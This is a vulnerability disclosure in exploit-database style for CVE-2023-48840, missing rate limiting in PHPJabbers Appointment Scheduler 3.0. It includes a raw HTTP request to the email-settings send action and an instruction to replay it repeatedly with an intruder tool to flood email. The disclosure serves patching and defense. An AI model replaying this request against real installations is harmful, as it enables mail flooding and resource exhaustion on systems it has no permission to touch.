PHPJabbers Appointment Scheduler 3.0 Missing Rate Limiting

# Exploit Title: PHPJabbers Apointment Scheduler v3.0 - No Rate Limit in Email# Date: 19/11/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/appointment-scheduler/# Version: v3.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-48840Descriptions:PHPJabbers Apointment Scheduler v3.0 is vulnerable to Rate limiting.Rate limiting is implemented in web applications and APIs to preventabuse, such as brute-force attacks or excessive requests that couldlead to resource exhaustion. When a rate limit is bypassed or notproperly enforced, it opens the door for attackers to carry outmalicious activities more quickly than intended, potentially leadingto unauthorized access, data breaches, or service disruption.Steps to Reproduce:1. Request Data:POST /1701529051_590/index.php?controller=pjBaseOptions&action=pjActionAjaxSendHTTP/1.1Host: demo.phpjabbers.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/119.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 426Origin: https://demo.phpjabbers.comReferer: https://demo.phpjabbers.com/1701529051_590/index.php?controller=pjBaseOptions&action=pjActionEmailSettingsSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersConnection: closeoptions_update=1&next_action=pjActionEmailSettings&email=test1%40test.com&value-enum-o_send_email=mail%7Csmtp%3A%3Amail&value-string-o_smtp_host=&value-int-o_smtp_port=25&value-string-o_smtp_user=&value-string-o_smtp_pass=&value-enum-o_smtp_secure=none%7Cssl%7Ctls%3A%3Anone&value-enum-o_smtp_auth=LOGIN%7CPLAIN%3A%3ALOGIN&value-string-o_smtp_sender=&value-string-o_sender_email=test%40test.com&value-string-o_sender_name=Test2. Send it to intruder and configure then Start Attack and check mail.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48840)